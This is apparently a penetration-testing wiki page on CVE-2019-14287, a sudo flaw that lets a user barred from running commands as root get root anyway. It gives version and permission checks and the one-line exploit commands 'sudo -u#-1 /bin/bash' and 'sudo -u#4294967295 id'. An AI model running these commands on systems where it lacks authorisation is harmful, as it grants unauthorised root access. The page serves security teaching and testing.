# User Restriction Bypass

## Theory

The sudo vulnerability **CVE-2019-14287** is a security policy bypass issue that provides a user or a program the ability to execute commands as root on a Linux system when the "sudoers configuration" explicitly disallows the root access. Exploiting the vulnerability requires the user to have sudo privileges that allow them to run commands with an arbitrary user ID, except root.

## Practice

{% tabs %}
{% tab title="Enumerate" %}
To exploit, sudo version must be vulnerable (sudo < **1.8.28**)

```bash
$ sudo -V
Sudo version 1.8.27
```

You must be able to run a command with sudo with an arbitrary user ID, except root

```bash
$ sudo -l
[...]
(ALL, !root) ALL
```

{% endtab %}

{% tab title="Exploit" %}
If you have a full TTY, you can exploit it like this

```bash
sudo -u#-1 /bin/bash
sudo -u#4294967295 id
```

{% endtab %}
{% endtabs %}
